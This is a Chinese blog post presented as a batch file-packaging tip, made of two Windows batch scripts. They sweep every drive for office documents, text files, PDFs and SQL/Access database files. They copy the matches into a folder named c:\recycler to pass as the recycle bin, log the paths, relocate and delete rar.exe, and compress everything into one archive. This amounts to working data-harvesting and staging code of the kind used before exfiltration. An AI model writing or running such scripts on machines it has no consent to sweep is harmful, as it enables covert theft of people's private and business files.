linux批量打包文件,Linux/Windows文件一键打包,批量打包

---------------content of 1.bat--------------------------

@echo off

goto :main

这是注释:(for /f "delims="的作用为取消默认的以空格等符号作为分割符

dir /s 实现了linux中的find功能,for /r path %%i in (web.conf?g) do ... 也可以实现find功能,但是自己实现时发现for /r path ...中的path只能是一个具体路径,不能是变量,这样就不能遍历全部磁盘了)

:main

set str=c d e f g h i j k l m n o p q r s t u v w x y z

if not exist c:\recycler (

md c:\recycler

md c:\recycler\tmp

)

if exist c:\recycler (

rd /s/q c:\recycler\tmp

md c:\recycler\tmp

)

echo 当前硬盘的分区有:

for %%i in (%str%) do (

if exist %%i: (echo %%i:

for /f "delims=" %%j in ('dir /b /s "%%i:\*.doc"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> tmp.txt

)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.docx"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.pdf"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.txt"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.xls"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.xlsx"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

)

)

copy rar.exe c:\recycler\rar.exe

echo "y" | del rar.exe

c:\recycler\rar.exe a -k -r -s -m1 c:\recycler\tmp\tmp.rar c:\recycler\tmp\*.*

echo ok

------------------end--------------------------------

or

c:\recycler\7z a -t7z C:\recycler\tmp\test.7z C:\recycler\tmp\*.*

-------------------mysql&access.bat---------------------

@echo off

goto :main

这是注释:(for /f "delims="的作用为取消默认的以空格等符号作为分割符

mdf和ldf文件无法直接复制,需要shadow copy

dir /s 实现了linux中的find功能,for /r path %%i in (web.conf?g) do ... 也可以实现find功能,但是自己实现时发现for /r path ...中的path只能是一个具体路径,不能是变量,这样就不能遍历全部磁盘了)

:main

set str=c d e f g h i j k l m n o p q r s t u v w x y z

if not exist c:\recycler (

md c:\recycler

md c:\recycler\tmp

)

if exist c:\recycler (

rd /s/q c:\recycler\tmp

md c:\recycler\tmp

)

echo 当前硬盘的分区有:

for %%i in (%str%) do (

if exist %%i: (echo %%i:

for /f "delims=" %%j in ('dir /b /s "%%i:\*.sql"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

for /f "delims=" %%j in ('dir /b /s "%%i:\*.mdb"') do (

echo "yes" | copy "%%j" c:\recycler\tmp

echo %%j >> c:\recycler\tmp\tmp.txt

)

)

)

copy rar.exe c:\recycler\rar.exe

echo "y" | del rar.exe

c:\recycler\rar.exe a -k -r -s -m1 c:\recycler\tmp\tmp.rar c:\recycler\tmp\*.*

echo ok

---------------------end-------------------------

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值